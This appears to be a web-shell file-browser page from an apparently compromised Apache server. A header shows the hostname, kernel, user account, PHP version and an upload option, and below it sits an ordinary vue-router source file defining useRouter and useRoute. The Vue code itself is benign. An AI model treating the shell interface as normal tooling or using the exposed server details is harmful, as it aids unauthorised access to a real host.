MOON
Server: Apache
System: Linux nserver.cafsindia.com 4.18.0-553.104.1.lve.el8.x86_64 #1 SMP Tue Feb 10 20:07:30 UTC 2026 x86_64
User: cafsindia (1002)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/cafsindia/snap.cafsinfotech.in/node_modules/vue-router/src/composables/globals.js
import {
  getCurrentInstance,
  shallowReactive,
  effectScope
} from 'vue'
import { throwNoCurrentInstance } from './utils'

export function useRouter () {
  if (process.env.NODE_ENV !== 'production') {
    throwNoCurrentInstance('useRouter')
  }

  return getCurrentInstance().proxy.$root.$router
}

export function useRoute () {
  if (process.env.NODE_ENV !== 'production') {
    throwNoCurrentInstance('useRoute')
  }

  const root = getCurrentInstance().proxy.$root
  if (!root._$route) {
    const route = effectScope(true).run(() =>
      shallowReactive(Object.assign({}, root.$router.currentRoute))
    )
    root._$route = route

    root.$router.afterEach(to => {
      Object.assign(route, to)
    })
  }

  return root._$route
}